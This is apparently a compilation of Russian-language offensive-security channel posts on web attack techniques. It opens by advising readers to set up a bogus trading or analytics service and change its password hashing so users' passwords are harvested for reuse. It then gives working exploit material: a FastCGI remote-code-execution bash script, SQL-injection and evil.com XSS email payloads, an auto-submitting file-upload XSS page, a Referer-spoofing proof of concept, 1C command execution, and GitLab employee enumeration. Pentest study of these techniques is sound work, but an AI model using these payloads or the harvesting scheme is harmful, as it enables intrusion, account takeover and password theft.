Нет, сам Binance взламывать не надо. Для торгов там не нужен пароль, достаточно API Key, который не привилегирован на вывод средств.
Нужно просто собрать пароли, сделав сервис по аналитике, торговле, форум по интересам или заработку. На примере выше - информационный ресурс по алгоритмической торговли на binance. Фреймворк по-умолчанию хранит все пароли в хэшах, но администратору достаточно немного изменить код.
Пароли и так уже бич 21 века, люди слишком ленивые, чтобы использовать их разные.
Разные ресурсы - разные пароли. Двухфакторка может не спасти. С пятницей!
Но не все знают, что можно вызвать /app_dev.php/_configurator
, который запустит установку движка (оно тебе надо?).
Если этот контроллер доступен, интереснее вызвать сразу последнюю страницу /app_dev.php/_configurator/final
, который покажет текущий конфиг сайта.
Вчера в официальном репозитории PHP на Github появилось два бэкдора, позволяющие выполнять произвольный код.
Что произошло - неясно. Однако разработчики сообщают о возможной компрометации git.php.net.
Дело точно не во взломанных аккунтах разработчиков. А user-agent “zerodium” и “sold to zerodium, mid 2017”, кагбе, намекает
Bitnami - это библиотека популярных серверных приложений и сред разработки, которая используется для быстрого развертывания готовой среды. Часто можно увидеть, как разработчики ставят docker именно из этой библиотеки.
Если у вас где-то в docker-compose используется bitnami/laravel:latest, по умолчанию APP_KEY в нем будет браться из образа докера, который несмотря на то, что часто меняется с каждой версией контейнера - все еще предсказуем. Ведь достаточно собрать из образов ключи за последние N времени и попробовать раскодировать cookie с помощью ключа.
Помимо прочего, переменные окружения передаются на PHP, поэтому наличие функции phpinfo ведет к раскрытию информации ключей AWS, данных к СУБД, почты и конечно же к APP_KEY.
Когда нужно фаззить веб-приложения не только кавычками, на помощь приходят мутирующие фаззеры. На вход они получают пользовательские данные, а на выходе измененные, заведомо некорректные. Это позволяет найти различного рода уязвимости и проверить веб-приложение и используемые там библиотеки на различные исключительные ситуации.
Первый и самый известный, Radamsa
Radamsa производит манипуляции с входными данными множеством разных неожиданных способов, включая чрезмерное повторение, инвертирование разрядов, вставку управляющих символов и т. д. Причем он годится для фаззинга как отдельных строк, так и заголовков, HTTP-запросов.
Второй, это jdam
Создан он для мутации именно json строк, когда нужно сохранить структуру, чтобы пройти валидацию данных. Помимо мутаций данных (по большей части позаимствованных у radamsa) он подмешивает различную полезную нагрузку именно для поиска веб-уязвимостей - вставляет лексемы NoSQL, нагрузку для шаблонизаторов, различные функции и операторы.
После эксплутации инъекции в sql с помощью следующего email адреса"'-sleep(5)-'"@mail.local
невольно задумываешься: а какого хера это вообще пропустило как валидный email?
В целом, локальная часть (логин, до @) email’а может сожержать спецсимволы по RFC, если она заключена в двойные кавычки. А дальше - уже любимые языки программирования немного отходят от того, какие именно символы можно использовать.
Поэтому, следующая магия:php -r "echo filter_var('\"\'--><script/src=//evil.com></script>\"@example.com', FILTER_VALIDATE_EMAIL);”
Провалидирует и вполне законно вернет мыло с вектором атаки: "'--><script/src=//evil.com></script>"@example.com
А там как дальше разработчики его отображают - отдельный вопрос.
reNgine - прикольный дашборд для автоматизации разведки, предназначенный для сбора информации во время тестирования на проникновение веб-приложений.
Ищет поддоменены, сканит порты, делает скриншоты, перебирает директории и готов к расширению функциональности. Enjoy!
Видел хоть раз открытый порт 9000?
Nmap (даже с аргументом -sV) не опознает его, а скорее всего это был FastCGI.
А самое классное - что это выполнение произвольного кода, достаточно подрубиться к нему, например, таким bash-скриптом:
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';" # Команда
FILENAMES="/var/www/public/index.php" # Путь к существующему файлу
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
Если в 1С включено интерактивное открытие внешних отчетов и обработок, то достаточно тыкнуть Файл => Открыть и загрузить консоль запросов для управляемого приложения с расширением epf.
Читать полностью…Если ты нашёл server-status, но в нем нет ничего кроме статистики - попробуй добавить к нему параметр full:/server-status?full
Если это PHP-FPM Status Page, то тебе откроются логи запросов.
Gitlab - достаточно популярный продукт для разработки, благодаря self-hosted решению его часто можно встретить на поддоменах компаний. Помимо того, что в нем также присутствует регистрация без подтверждения email’а (смотрим в предыдущие посты), это еще и отличная возможность собрать информацию о сотрудниках.
Без аутентификации доступен следующий API метод - gitlab.company.local/api/v4/users/{id}
На самом gitlab - эта ручка также доступна, например https://gitlab.com/api/v4/users/7154957:{"id":7154957,"name":"Bo0oM","username":"webpwn","state":"active","avatar_url":"https://secure.gravatar.com/avatar/4e99709ca6b52f78d02cb92a5bc65d85?s=80\u0026d=identicon","web_url":"https://gitlab.com/webpwn","created_at":"2020-09-21T17:25:55.046Z","bio":"","bio_html":"","location":"","public_email":"","skype":"","linkedin":"","twitter":"@i_bo0om.ru","website_url":"/channel/webpwn","organization":"","job_title":"","work_information":null}
Перебирая идентификаторы, можно за короткое время собрать список логинов (и другую информацию о сотрудниках компании).
По логину также можно узнать открытые ключи - https://gitlab.com/webpwn.keys
Отдельного упоминания заслуживает avatar_url:”avatar_url":"https://secure.gravatar.com/avatar/4e99709ca6b52f78d02cb92a5bc65d85?s=80\u0026d=identicon”
Сервис gavatar содержит email в пути к изображению - 4e99709ca6b52f78d02cb92a5bc65d85.
Это ни что иное, как md5 от email’а в нижнем регистре.echo -n "webpwn@bo0om.ru" | md5
4e99709ca6b52f78d02cb92a5bc65d85
А так как у нас скорее всего корпоративный домен, узнать логины по остальным данным и собрать базу программистов компании будет достаточно просто.
А где-то можно не подтверждать email.
Например, популярный ныне сервис Discord. В нем ты можешь завести аккаунт на произвольный email (например admin@google.com
), и не подтверждая email зайти через него на один из сайтов, если веб-приложение будет ему доверять.
Я вопреки обществу был противником сокрытия информации. Зачем скрывать почту или номер телефона, если это штуки, которые специально созданы для того, чтобы их шарить и это не может быть секретом? А сейчас осознаю, что было бы неплохо иметь обфусцированный номер телефона, который можно было бы убить как, например, алиасы на почте (виртуальные номера не в счет).
Там где тобой заинтересованы - практически нет препятствий для атаки.
А пароли вообще должны умереть. Sergey Belove опубликовал размышление о том, что если пароли умрут, это всё равно не спасёт от угона аккаунта, а второй фактор - не панацея.
Возьмем, например, Binance. Это крупнейшая криптобиржа, операции надо подтверждать через код с почты и через двухфакторку. А вот эту самую двухфакторку обходят (даже есть специализированные сервисы, которые за процент снимают бабло). Я относился к этому скептически, пока у друга так не вывели деньги (обошли Google Authenticator).
В фреймворке Symfony иногда не отключают профайлер, который может помочь получить различную техническую информацию о целевой системе. Находится он в роуте app_dev.php
.
Оффенсивы приходят, разламывают и пишут об этом посты. Дефенсивы бегают в огне, придумывают фиксы и ничего, обычно, не рассказывают, так как держат в уме “ну вот сделаем хорошо, тогда и расскажем!”
И не рассказывают, потому что некоторые уязвимости практически невозможно исправить, и об одной из них мы сегодня поговорим, самой понятной - о взломе аккаунта.
Веб был не для дефенсивов с самого его начала и все жутко, жутко плохо в самой его сущности. Самую базовую операцию - аутентификацию пользователя, мы не умеем делать даже в 2021 году для массового сервиса. Предоставляемые механизмы уязвимы, сломаны, не имеют универсальности и в целом мы живем в полной заднице.
Придумали пароли, которые оказались неуникальны, пользователям сложно следовать парольной политике, а еще, блин, этот credential stuffing. Да в конце концов, браузер, козлина, позволяет отправить одинаковый пароль разным Origin’ам, именно поэтому работает фишинг. Могли бы мы запретить на уровне браузера одинаковые пароли для разных origin? “Пользователи покинули интернет, ваш драный браузер и ваш гребенный сервис. Горите в аду!”
Ой-ой, стойте, давайте мы вам дадим парольный менеджер, вернитесь! Сгенерили за пользователей пароли, уникальные, на каждый сайт и стали за них их автоматически заполнять. Ну спасибо за дичайший костыль, я потерял свой телефон и мне прямо сейчас надо зайти в свой Инстаграмм на новом телефоне! К черту эти парольные менеджеры, дайте мне использовать пароли, которые я знаю и всегда зайду в свой аккаунт!
Так, откатываем все назад. Пусть будут какие есть пароли, давайте сделаем двухфакторку! И точно-точно убедимся, что на сайт заходит тот же человек, что и регистрировался. Вот, SMS код введи плиз после входа. ТАК У МЕНЯ СИМКА СДОХЛА ВОЙТИ НЕ МОГУ! Ладно, вот вам еще TOTP генераторы, на телефончике, в оффлайн получайте свои коды, они тоже работают!
Ну.. ниче так, живем, спасибо.
Бац, пользователь, звезда с галочкой во всех соц сетях, все равно взломан(-а). SMS небезопасны1!1! Да не, вход через TOTP был. Взлом аккаунта с двухфакторкой обычно прозаичнее - это такой же фишинг, просто с динамическим походом в оригинальный сервис (привет, evilginx2). Чертов фишинг!
Окей... блин, мы все еще не можем быть уверены, что к нам пришел тот же самый пользователь, что и регистрировался.
Собрались инженеры, да придумали fido2/WebAuthN. Будем, говорит, генерить уникальные секреты на машине пользователя per browser, которые будут подписывать запрос per origin (фишинг пруф!!!), а браузеру давать доступ на эту операцию только после проверки биометрии на уровне ОС (палец приложит, лицо отсканит). И придумаем, чтобы внешние девайсы можно было тоже юзать, дабы можно было заходить на других устройствах.
Ниче так, вроде работает, гуглы пишут радостный отчет, что за год у них ни одного корпа под такой защитой - пароль + u2f - не взломали.
Потом приходят малварщики... И просто тырят сессионную куку, на самом auth / account / login защищенном поддомене. Да и юзают ее, заходя из своего браузера, и пошел ты нафиг, u2f.
Дефенсивы говорят “нууу троян - это все, game over!”. Сидят в барах, соглашаются, и тут кто-то говорит. Слушайте, ну вот есть же клиентские сертификаты в браузерах, работают уже лет 15! А чего, давайте заюзаем? И не будем использовать ключи на файловой системе, чтобы троян не стырил, потребуем у всех yubikeys!
Почесали репу, решили поэкспериментировать. Ну правда работает, вот юбик, воткнут по Type C / USB, вот браузеры - берут серт и ходят. Выткнул юбик - не работает. Юбик своровать можно, но надо знать еще код на анлок. В юбике и уязвимостей то толком не было. Кажется, нашли фикс для account takeover!?!??
А тут оказывается, что ни один браузер не умеет в “разлогин” сертификата. Хочешь использовать другой - перезапусти браузер с 500 вкладками. И все, нет другого способа! Прямо Basic Auth, придумали как логинить юзера, а как разлогинить - чет нет. Ммм, что же делать, что же делать...
Рассказывать и делиться больше, даже если что-то еще сделано неидеально. Всех с пятницей!
И так, еще один интересный кейс.
Представьте себе... Reflected XSS via File Upload.
На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.
Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.
В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.
Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!
Пример эксплоита для такой уязвимости:
<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
"/>
</form>
<script>
class _DataTransfer {
constructor() {
return new ClipboardEvent("").clipboardData || new DataTransfer();}
}
const input = document.querySelector('input');
const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})
const dt = new _DataTransfer();
dt.items.add(file)
input.files = dt.files;
document.forms[0].submit();
</script>
</body>
</html>
Один из известных способ эксплуатации десериализации в .NET - это модификация значения параметра ViewState.
Как известно, для его модификации в большинстве случаев необходим machineKey, который, в свою очередь, состоит из параметров validationKey и decryptionKey, которые в большинстве случаев генерируются автоматически под каждый проект и хранятся в файле Web.config.
Иногда удается получить эти ключи через уязвимости разных типов на целевом ресурсе, но бывает, что разработчики переиспользуют чужие ключи или "предусмотрительно" делятся своими на Github. Для проверки на предмет использования слабых ключей существует проект Blacklist3r, в рамках которого была собрана из ~2 тысяч ключевых пар с различных сетевых ресурсов (MSDN, StackOverflow, etc.).
Недавно я собрал аналогичную базу ключей с проектов на Github, причем оказалось, что ключи уникальные и отсутствуют в базе Blacklist3r. Pull request с обновлением в проект Blacklist3r уже отправлен.
База ключей с информацией о репозиториях, откуда они были получены.
Бум вбросил в чат скрин с требованиями к инфраструктурным пентестерам (внутрянщикам), которые я как-то накидывал, и мы обсуждали в другом чате.
Список весьма спорный, но он ещё изменялся (в том числе по замечаниям разных людей), так что решил сделать публичным док с обновляемой матрицей компетенций по наиболее распространённым пентестерским специализациям.
Док тут: https://docs.google.com/spreadsheets/d/1yrQRyYS7Li3UpDwJoRqJ7uxD0g-ctm3I9-o-jHgzymg/
В первой вкладке есть интро, но оговорюсь ещё раз, что это лишь примерные прикидки, и не обязательно знать всё ;)
В то же время, ничего особенно сложного там нет. Думаю, что всё это легко освоить за указанные во втором столбце сроки.
2020 потрясающий год. Помимо всего прочего, в Chrome можно подделать заголовок Referer, чего не было более десяти лет (раньше с помощью Flash можно было подменить этот заголовок).
PoC был выложен несколько дней назад и совершенно тривиальный:<base href="https://www.google.com/">
<style>
@import 'https://CSRF.vulnerable.example/';
</style>
Запрос к сайту уйдет с заголовкомReferer: https://www.google.com/
К счастью, половину интернета этим не заломаешь (SameSite cookie, вот это все), но имейте в виду.
Тут дядьки из Epieos показали бесплатный сервис по пробиву номера телефона в Signal/Skype/Telegram.
Возможно, добавят еще всякие Facebook/Instagram и прочие соцсеточки. Наблюдаем :)
В консоле же легко выполнять произвольные команды и выводить их с помощью функции "Сообщить".
Например:
СисИнфо = Новый СистемнаяИнформация;
Shell = Новый COMОбъект("WScript.Shell");
UserDir = Shell.ExpandEnvironmentStrings("%USERPROFILE%");
Сообщить(СисИнфо.ВерсияОС+" "+СисИнфо.ТипПлатформы+Символы.ПС+Символы.ПС+СисИнфо.Процессор+", RAM: "+СисИнфо.ОперативнаяПамять+" МБ"+Символы.ПС);
Сообщить("Каталог 1с: " + КаталогПрограммы());
Сообщить("Пользователь: "+UserDir);
Тасклист=Shell.Exec("tasklist /v");
Сообщить(Тасклист.StdOut.ReadAll());
Что нужно знать, при пентесте 1С
* Иногда там выдаются имена пользователей (если включено) в автодополнении, либо можно попробовать обратиться на /ru_RU/e1cib/users
.
* Пароли из коробки не чувствительны к регистру. "Пароль" и "пАрОль" - одно и тоже, что уменьшает количество для брута (особенно классно вместе с предыдущим пунктом).
* Внутри часто есть выполнение произвольного кода.
Для тех, кто использует Nominatim (такой движок для геокодинга от OpenStreetMap) в официальных докер-образах: обратите внимание на одну забавную строку.
В большинстве случаев ничего страшного не произойдет, так как докеры обычно не торчат наружу. Но мало ли :)
Как сообщает @x_notes, у древнейшего ресурса по реверс инжинирингу - exelab.ru, ус отклеился (PHP интерпретатор отломился).
Читать полностью…Многие знают про различные фичи oauth, благодаря которым уязвимости появляются из-за излишнего доверия к провайдерам. Например, регистрация в одной из соцсетей с полезной нагрузкой ('-alert()-'
в качестве имени), когда как при обычной регистрации спецсимволы использовать запрещено.
Некоторые сервисы позволяют не подтверждать, например, номер телефона. А в момент регистрации через кнопку “Войти через…” - веб приложение забирает поля пользователя, в том числе и телефон, хоть пользователь не подтвердил его. Войдя через такой аккаунт есть вероятность попасть к одному из клиентов веб-приложения, того самого, чей номер был введен.